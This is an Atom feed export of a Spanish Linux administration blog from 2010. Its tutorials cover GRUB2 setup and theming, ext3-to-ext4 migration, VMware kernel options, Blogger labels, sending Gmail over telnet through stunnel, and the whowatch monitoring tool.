640x480 con extensión .tga&lt;br /&gt;&lt;br /&gt;Ahora copiamos la imagen original por si algo saliese mal:&lt;br /&gt;mv /boot/grub/moreblue-orbit-grub.png /boot/grub/moreblue-orbit-grub.png.ori&lt;br /&gt;&lt;br /&gt;Enlazamos la imagen original con la nuestra:&lt;br /&gt;ln -s /boot/grub/"imagen".tga /boot/grub/moreblue-orbit-grub.tga&lt;br /&gt;&lt;br /&gt;Actualizamos la configuración:&lt;br /&gt;update-grub&lt;br /&gt;&lt;br /&gt;Creo que es la forma mas fácil de hacerlo, la imagen que yo tengo es la de arriba, jejeje.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-4676853649032874886?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/4676853649032874886/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=4676853649032874886' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/4676853649032874886'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/4676853649032874886'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2010/01/cambiar-imagen-grub2.html' title='Cambiar imagen GRUB2'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_JhkD20t_wqQ/S2SyWq6IsWI/AAAAAAAAATY/wxriNrYvf14/s72-c/5047-1280x800.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-826345746749732690</id><published>2010-01-30T21:10:00.004+01:00</published><updated>2010-01-30T21:34:58.995+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Administración'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Migrar de Ext3 a Ext4 sin pérdida de datos.</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_JhkD20t_wqQ/S2SWeOjpt9I/AAAAAAAAATA/R5Owew7SVs4/s1600-h/img_opensource1.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 174px; height: 200px;" src="http://4.bp.blogspot.com/_JhkD20t_wqQ/S2SWeOjpt9I/AAAAAAAAATA/R5Owew7SVs4/s200/img_opensource1.jpg" alt="" id="BLOGGER_PHOTO_ID_5432632496563533778" border="0" /&gt;&lt;/a&gt;Ya hace algún tiempo que el kernel de linux soporta el sistema de ficheros Extendida 4, son muchas las &lt;a href="http://www.linuxhispano.net/portal/noticia/ext4"&gt;ventajas&lt;/a&gt; que presenta y por eso voy a migrar a dicho sistema de ficheros.&lt;br /&gt;&lt;br /&gt;Lo primero será &lt;a href="http://laguaridadelmal.blogspot.com/2010/01/pasar-de-grub-grub2.html"&gt;migrar de GRUB a GRUB2&lt;/a&gt;, este último soporta arrancar particiones en Ext4, a mi parecer la configuración de GRUB2 es un poco enrevesada comparandola con GRUB que solo tenía un ficherillo.&lt;br /&gt;&lt;br /&gt;Tambien tendremos que comprobar que nuestro kernel tiene soporte para el sistema de ficheros Ext4.&lt;br /&gt;&lt;br /&gt;Entramos en la sección File System y habilitamos:&lt;br /&gt;The extended 4 (ext4) filesystem&lt;br /&gt;Ext4 POSIX Acces Control Lists&lt;br /&gt;Ext4 Security Labels&lt;br /&gt;&lt;br /&gt;Guardamos y compilamos.&lt;br /&gt;&lt;br /&gt;Ahora debemos arrancar la máquina con una LiveCD para poder realizar la conversión de Ext3 a Ext4, yo lo hago desde un cd instalación de Gentoo (recordando viejos tiempos).&lt;br /&gt;Recordad que si queremos hacer modificar ficheros de una partición de un sistema de 64 bits la LiveCD debe de ser de 64 bits tambien.&lt;br /&gt;&lt;br /&gt;Montamos la partición raiz en /mnt/raiz:&lt;br /&gt;mkdir /mnt/raiz&lt;br /&gt;mount /dev/sda1 /mnt/raiz&lt;br /&gt;chroot /mnt/raiz&lt;br /&gt;bash&lt;br /&gt;&lt;br /&gt;Ahora modificamos el fichero fstab para que nos monte las particiones como Ext4:&lt;br /&gt;vi /etc/fstab&lt;br /&gt;Buscamos la columna que pone type y cambiamos ext3 por ext4&lt;br /&gt;&lt;br /&gt;Guardamos:&lt;br /&gt;:wq&lt;br /&gt;&lt;br /&gt;exit&lt;br /&gt;exit&lt;br /&gt;umount /mnt/raiz&lt;br /&gt;&lt;br /&gt;Procedemos con la conversión:&lt;br /&gt;tune2fs -O extents,uninit_bg,flex_bg,dir_index /dev/"partición"&lt;br /&gt;fsck -pf /dev/tusistemadearchivos&lt;br /&gt;&lt;br /&gt;Si salen errores es normal, no hay porque preocuparse.&lt;br /&gt;&lt;br /&gt;Reiniciamos y ya tendremos nuestro sistema de ficheros en Ext4 ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-826345746749732690?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/826345746749732690/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=826345746749732690' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/826345746749732690'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/826345746749732690'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2010/01/migrar-de-ext3-ext4-sin-perdida-de.html' title='Migrar de Ext3 a Ext4 sin pérdida de datos.'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_JhkD20t_wqQ/S2SWeOjpt9I/AAAAAAAAATA/R5Owew7SVs4/s72-c/img_opensource1.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-2295103788077174206</id><published>2010-01-30T20:50:00.015+01:00</published><updated>2011-04-04T19:50:56.246+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Administración'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Pasar de GRUB a GRUB2</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_JhkD20t_wqQ/S2STbsgVonI/AAAAAAAAAS4/VLVc8AT-sxY/s1600-h/9F60x250y200.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 200px; height: 193px;" src="http://2.bp.blogspot.com/_JhkD20t_wqQ/S2STbsgVonI/AAAAAAAAAS4/VLVc8AT-sxY/s200/9F60x250y200.jpg" alt="" id="BLOGGER_PHOTO_ID_5432629154528207474" border="0" /&gt;&lt;/a&gt;Tener GRUB2 instalado nos puede reportar una serie de ventajas desde menus gráficos mas atractivos hasta la posibilidad de arrancar particiones en Ext4.&lt;br /&gt;&lt;br /&gt;Instalamos GRUB2:&lt;br /&gt;apt-get install grub-pc&lt;br /&gt;&lt;br /&gt;Nos mostrará un aviso de que se conserva el GRUB anterior y se concatena la configuración de GRUB2, si tras reiniciar todo funciona correctamente eligiendo un kernel del menu de GRUB2 podemos ejecutar el comando: upgrade-from-grub-legacy para terminar la migración.&lt;br /&gt;&lt;br /&gt;Cuando pregunte: Desea realizar la carga en cadena desde menu.lst? respondemos que sí.&lt;br /&gt;Cuando pregunte por parámetros simplemente le damos a enter.&lt;br /&gt;&lt;br /&gt;Ahora vamos a editar el fichero de configuración con el que añadiremos nuevos kernels en el menú de arranque.&lt;br /&gt;En el directorio /etc/grub.d/ podemos observar los ficheros existentes, cada fichero se encarga de una tarea, es algo parecido a los rulevels en /etc/rcX.d/, según la numeración el fichero se leerá antes o después.&lt;br /&gt;&lt;br /&gt;Yo tengo el fstab configurado por particiones, no por el identificativo de las particiones, así que se lo indicaremos al GRUB2 editando un parámetro del fichero /etc/default/grub:&lt;br /&gt;GRUB_DISABLE_LINUX_UUID=true&lt;br /&gt;&lt;br /&gt;Creamos el fichero 09_Kernel con el contenido:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-Um7nPU6Ygks/TZoE1SlhpsI/AAAAAAAAAXE/kwmjyMJPpjw/s1600/grub2.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 200px; height: 30px;" src="http://3.bp.blogspot.com/-Um7nPU6Ygks/TZoE1SlhpsI/AAAAAAAAAXE/kwmjyMJPpjw/s200/grub2.jpg" alt="" id="BLOGGER_PHOTO_ID_5591787200902702786" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;NOTA: Las particiones pueden cambiar de un sistema a otro.&lt;br /&gt;&lt;br /&gt;Ahora hacemos ejecutable este fichero:&lt;br /&gt;chmod +x 09_Kernel&lt;br /&gt;&lt;br /&gt;Actualizamos las entradas de GRUB2 (como se hacia antiguamente con LILO):&lt;br /&gt;update-grub&lt;br /&gt;&lt;br /&gt;Nos apareceran una serie de mensajes según vaya leyendo los ficheros de /etc/grub.d/, cuando llegue al nuestro debería de aparecer "Anadiendo kernels propios", se pueden poner mas entradas simplemente añadiendo menuentrys.&lt;br /&gt;&lt;br /&gt;Ya estamos listos, reiniciamos y a disfrutar del GRUB2.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-2295103788077174206?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/2295103788077174206/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=2295103788077174206' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/2295103788077174206'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/2295103788077174206'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2010/01/pasar-de-grub-grub2.html' title='Pasar de GRUB a GRUB2'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_JhkD20t_wqQ/S2STbsgVonI/AAAAAAAAAS4/VLVc8AT-sxY/s72-c/9F60x250y200.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-1568536874474331622</id><published>2010-01-30T20:20:00.002+01:00</published><updated>2010-01-30T20:31:18.514+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Administración'/><category scheme='http://www.blogger.com/atom/ns#' term='Virtualización'/><title type='text'>Drivers VMware</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_JhkD20t_wqQ/S2SI7-BRgfI/AAAAAAAAASw/ZPCNTwBHRzw/s1600-h/plugin_default.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 128px; height: 128px;" src="http://3.bp.blogspot.com/_JhkD20t_wqQ/S2SI7-BRgfI/AAAAAAAAASw/ZPCNTwBHRzw/s200/plugin_default.png" alt="" id="BLOGGER_PHOTO_ID_5432617614357660146" border="0" /&gt;&lt;/a&gt;Cuando arrancamos una máquina virtual Linux en VMware solemos dejar el kernel que viene por defecto ya que suelen venir los drivers de la máquina virtual compilados en el kernel.&lt;br /&gt;&lt;br /&gt;En ciertas ocasiones es necesario recompilar y para que todo funcione correctamente se debe de conocer el hardware de la máquina virtual, en este articulo voy a poner las opciones básicas para que la máquina pueda arrancar.&lt;br /&gt;&lt;br /&gt;Entramos en la sección Device drivers y marcamos:&lt;br /&gt;&lt;br /&gt;- ATA/ATAPI/MFM/RLL support&lt;br /&gt;   generic ATA/ATAPI disk support&lt;br /&gt;   ATA disk support&lt;br /&gt;   Include IDE/ATAPI CDROM support&lt;br /&gt;   Intel PIIX/ICH chipsets support&lt;br /&gt;&lt;br /&gt;- SCSI device support&lt;br /&gt;   SCSI device support&lt;br /&gt;   SCSI disk support&lt;br /&gt;&lt;br /&gt;- Fusion MPT device support&lt;br /&gt;   Fusion MPT ScsiHost drivers for SPI&lt;br /&gt;&lt;br /&gt;- Network device support&lt;br /&gt;   Ethernet (1000 Mbit)&lt;br /&gt;       Intel(R) PRO/1000 Gigabit Ethernet support&lt;br /&gt;&lt;br /&gt;Con estas opciones ya funcionará el disco duro tanto IDE como SCSI, el cdrom y la tarjeta de red.&lt;br /&gt;&lt;br /&gt;Voy a dejar un &lt;a href="http://www.divshare.com/download/10326911-dba"&gt;fichero de configuración&lt;/a&gt; del kernel con el que solo tendremos lo básico, no tendrá sonido ni soporte para AGP ni ningún tipo de floritura.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-1568536874474331622?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/1568536874474331622/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=1568536874474331622' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/1568536874474331622'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/1568536874474331622'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2010/01/drivers-vmware.html' title='Drivers VMware'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_JhkD20t_wqQ/S2SI7-BRgfI/AAAAAAAAASw/ZPCNTwBHRzw/s72-c/plugin_default.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-7559427262718100953</id><published>2010-01-19T17:23:00.010+01:00</published><updated>2010-01-25T13:45:10.463+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Varios'/><category scheme='http://www.blogger.com/atom/ns#' term='Multimedia'/><title type='text'>Etiquetas en las entradas de Blogger</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_JhkD20t_wqQ/S1Xg6CX6hSI/AAAAAAAAASo/sFGEm2vw7fw/s1600-h/organization-alignment.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 189px; height: 72px;" src="http://2.bp.blogspot.com/_JhkD20t_wqQ/S1Xg6CX6hSI/AAAAAAAAASo/sFGEm2vw7fw/s200/organization-alignment.jpg" alt="" id="BLOGGER_PHOTO_ID_5428492213539210530" border="0" /&gt;&lt;/a&gt;En este artículo voy a explicar como añadir etiquetas a las entradas de nuestro blog, esto nos permitirá poder realizar búsquedas a partir de estas etiquetas.&lt;br /&gt;Aprovechando esta característica vamos a poder crear categorias de clasificiación.&lt;br /&gt;&lt;br /&gt;Lo primero será acceder a la sección diseño:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Añadimos un gadget.&lt;/li&gt;&lt;li&gt;Lista de enlaces.&lt;/li&gt;&lt;/ul&gt;Completamos los campos así:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Titulo: Categorias.&lt;/li&gt;&lt;li&gt;URL del sitio web nueva: http://laguaridadelmal.blogspot.com/search?label="Nombre de la categoria"&lt;/li&gt;&lt;li&gt;Nombre del sitio web nuevo: "Nombre de la categoria"&lt;/li&gt;&lt;/ul&gt;Luego a la hora de editar nuestros articulos tendremos que añadir etiquetas en el campo Etiquetas de la entrada.&lt;br /&gt;&lt;br /&gt;Con esto las categorias ya estaran listas y podremos acceder a los articulos de cada categoría por el menú de la lista de enlaces.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-7559427262718100953?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/7559427262718100953/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=7559427262718100953' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/7559427262718100953'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/7559427262718100953'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2010/01/etiquetas-en-las-entradas-de-blogger.html' title='Etiquetas en las entradas de Blogger'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_JhkD20t_wqQ/S1Xg6CX6hSI/AAAAAAAAASo/sFGEm2vw7fw/s72-c/organization-alignment.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-141141439763104684</id><published>2010-01-17T23:56:00.005+01:00</published><updated>2010-01-18T00:26:09.904+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Administración'/><title type='text'>Correo Gmail por Telnet</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_JhkD20t_wqQ/S1ObWVv0wTI/AAAAAAAAASg/P6aFhC0eaqs/s1600-h/mailhop-forward.gif"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 157px; height: 109px;" src="http://3.bp.blogspot.com/_JhkD20t_wqQ/S1ObWVv0wTI/AAAAAAAAASg/P6aFhC0eaqs/s200/mailhop-forward.gif" alt="" id="BLOGGER_PHOTO_ID_5427852784008741170" border="0" /&gt;&lt;/a&gt;Siempre me ha gustado cacharrear con los servidores SMTP desde Telnet, si disponemos de una cuenta en Gmail esta es la forma de hacerlo.&lt;br /&gt;El primer problema que nos encontramos es que un cliente telnet corriente y moliente no soporta SSL, además el nombre de usuario y el password se deben enviar codificados en base64, pero no os preocupeis porque con la ayuda de un pequeño script de cosecha propia todo será resuelto de forma muy comoda.&lt;br /&gt;&lt;br /&gt;Para realizar conversiones a base64 emplearé un &lt;a href="http://www.divshare.com/download/10200822-055"&gt;script&lt;/a&gt; pero esta vez será en Python, la salida del script será emplazada en /tmp/base64&lt;br /&gt;&lt;br /&gt;Para resolver el problema de SSL vamos a instalar la aplicación stunnel:&lt;br /&gt;apt-get install stunnel&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Ahora creamos el tunel SSL que escuchará en el puerto 25 local:&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: left;"&gt;          stunnel -d 25 -cr smtp.gmail.com:465&lt;br /&gt;        La -c significa modo cliente y la -r servicio remoto&lt;/div&gt;&lt;ul&gt;&lt;li&gt;Ahora basta conectar con nuestro host y seremos redireccionados a smtp.gmail.com:465 pero por el tunel SSL:&lt;/li&gt;&lt;/ul&gt;          telnet localhost 25&lt;br /&gt;&lt;br /&gt;        El servidor debe de responder tal que así:&lt;br /&gt;        Trying 127.0.0.1...&lt;br /&gt;        Connected to localhost.&lt;br /&gt;        Escape character is '^]'.&lt;br /&gt;        220 mx.google.com ESMTP 28sm4369646eye.7&lt;ul&gt;&lt;li&gt;Ahora seremos educados y saludaremos al servidor:&lt;/li&gt;&lt;/ul&gt;          ehlo gmail.com&lt;br /&gt;&lt;br /&gt;        Nos responderá:&lt;br /&gt;        250-mx.google.com at your service, [89.131.206.8]&lt;br /&gt;        250-SIZE 35651584&lt;br /&gt;        250-8BITMIME&lt;br /&gt;        250-AUTH LOGIN PLAIN&lt;br /&gt;        250-ENHANCEDSTATUSCODES&lt;br /&gt;        250 PIPELINING&lt;ul&gt;&lt;li&gt;Elegimos modo de autentificarnos:&lt;/li&gt;&lt;/ul&gt;          auth login&lt;br /&gt;&lt;br /&gt;        Responderá:&lt;br /&gt;        334 VXNlcm5hbWU6&lt;ul&gt;&lt;li&gt;Ahora debemos indicarle el nombre de usuario en base 64:&lt;/li&gt;&lt;/ul&gt;          python Base64.py&lt;br /&gt;&lt;br /&gt;        Responderá:&lt;br /&gt;        334 UGFzc3dvcmQ6&lt;ul&gt;&lt;li&gt;Ahora debemos indicarle el password en base 64:&lt;/li&gt;&lt;/ul&gt;          python Base64.py&lt;br /&gt;&lt;br /&gt;        Responderá:&lt;br /&gt;        235 2.7.0 Accepted&lt;ul&gt;&lt;li&gt;Indicamos el origen:&lt;/li&gt;&lt;/ul&gt;          mail from:&lt;"Dirección de correo"&gt;&lt;br /&gt;&lt;br /&gt;         Responderá:&lt;br /&gt;        250 2.1.0 OK 28sm4369646eye.7&lt;ul&gt;&lt;li&gt;Indicamos el destino:&lt;/li&gt;&lt;/ul&gt;          rcpt to:&lt;putosynapse@gmail.com&gt;&lt;br /&gt;&lt;br /&gt;         Responderá:&lt;br /&gt;        250 2.1.5 OK 28sm4369646eye.7&lt;ul&gt;&lt;li&gt;Empezamos con el mensaje:&lt;/li&gt;&lt;/ul&gt;          data&lt;br /&gt;&lt;br /&gt;        Responderá:&lt;br /&gt;       354  Go ahead 28sm4369646eye.7&lt;ul&gt;&lt;li&gt;Indicamos el motivo:&lt;/li&gt;&lt;/ul&gt;          subject: prueba nesima&lt;ul&gt;&lt;li&gt;Escribimos el mensaje:&lt;/li&gt;&lt;/ul&gt;          Mensaje de prueba&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Acabamos el mensaje:&lt;/li&gt;&lt;/ul&gt;          . (No es un error es un punto)&lt;br /&gt;&lt;br /&gt;         Responderá:&lt;br /&gt;        250 2.0.0 OK 1263726572 28sm4369646eye.7&lt;ul&gt;&lt;li&gt;Salimos:&lt;/li&gt;&lt;/ul&gt;          quit&lt;br /&gt;&lt;br /&gt;         Responderá:&lt;br /&gt;        221 2.0.0 closing connection 28sm4369646eye.7&lt;br /&gt;        Connection closed by foreign host.&lt;br /&gt;&lt;br /&gt;Con el &lt;a href="http://www.divshare.com/download/10200810-d42"&gt;Script&lt;/a&gt; será mucho mas sencillo, recordad colocar los dos Scripts tanto el de Python como el de Bash en el mismo directorio o no funcionará.&lt;br /&gt;&lt;br /&gt;PD: Yo de vosotros le hecharía un ojo a los Scripts ya es necesario meter el password de vuestras cuentas de correo!!!&lt;br /&gt;Para otros servidores de correo se puede modificar de forma fácil el script.&lt;br /&gt;&lt;/putosynapse@gmail.com&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-141141439763104684?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/141141439763104684/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=141141439763104684' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/141141439763104684'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/141141439763104684'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2010/01/correo-gmail-por-telnet.html' title='Correo Gmail por Telnet'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_JhkD20t_wqQ/S1ObWVv0wTI/AAAAAAAAASg/P6aFhC0eaqs/s72-c/mailhop-forward.gif' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-1026598725790683793</id><published>2010-01-15T22:48:00.004+01:00</published><updated>2010-08-23T18:08:00.533+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Seguridad'/><title type='text'>Detectando intrusiones</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_JhkD20t_wqQ/S1DjpUxDzjI/AAAAAAAAASY/copim95qsyI/s1600-h/avatar_173.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 100px; height: 100px;" src="http://3.bp.blogspot.com/_JhkD20t_wqQ/S1DjpUxDzjI/AAAAAAAAASY/copim95qsyI/s200/avatar_173.png" alt="" id="BLOGGER_PHOTO_ID_5427087850070068786" border="0" /&gt;&lt;/a&gt;Seguro que alguna vez ha ocurrido algo extraño en el sistema, ralentización sin justificación, algún fichero que no estais seguros de haber generado vosotros......&lt;br /&gt;Para estos casos existe la herramienta whowatch, esta nos permite observar a los usuarios logados en nuestro equipo en ese momento y seguir el rastro de forma muy cómoda de los procesos que tiene arrancados cada usuario. Estos procesos son mostrados en forma de arbol muy visual ;)&lt;br /&gt;&lt;br /&gt;Como siempre para instalar whowatch basta con:&lt;br /&gt;apt-get install whowatch&lt;br /&gt;&lt;br /&gt;Probadlo y ya me contareis.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-1026598725790683793?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/1026598725790683793/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=1026598725790683793' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/1026598725790683793'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/1026598725790683793'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2010/01/detectando-intrusiones.html' title='Detectando intrusiones'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_JhkD20t_wqQ/S1DjpUxDzjI/AAAAAAAAASY/copim95qsyI/s72-c/avatar_173.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-2717782609914518848</id><published>2010-01-14T23:31:00.006+01:00</published><updated>2010-01-15T00:15:39.547+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Administración'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Optimizar bateria portatil en Linux</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_JhkD20t_wqQ/S0-fg3O1m6I/AAAAAAAAASQ/ilYeJSTeyiA/s1600-h/gpm-primary-charging.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 128px; height: 128px;" src="http://2.bp.blogspot.com/_JhkD20t_wqQ/S0-fg3O1m6I/AAAAAAAAASQ/ilYeJSTeyiA/s200/gpm-primary-charging.png" alt="" id="BLOGGER_PHOTO_ID_5426731462935550882" border="0" /&gt;&lt;/a&gt;Hola fieles seguidores de la verdadera fe, vamos a aprender unos cuantos truquillos que nos permitiran estirar un poco mas la duración de la bateria de nuestro portatil.&lt;br /&gt;&lt;br /&gt;Los pasos que seguiremos seran los siguientes:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://laguaridadelmal.blogspot.com/2009/06/frequency-scaling.html"&gt;Ajustart la frecuencia&lt;/a&gt; de reloj de nuestro microprocesador al mínimo.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Deshabilitar el bluetooth: hciconfig hci0 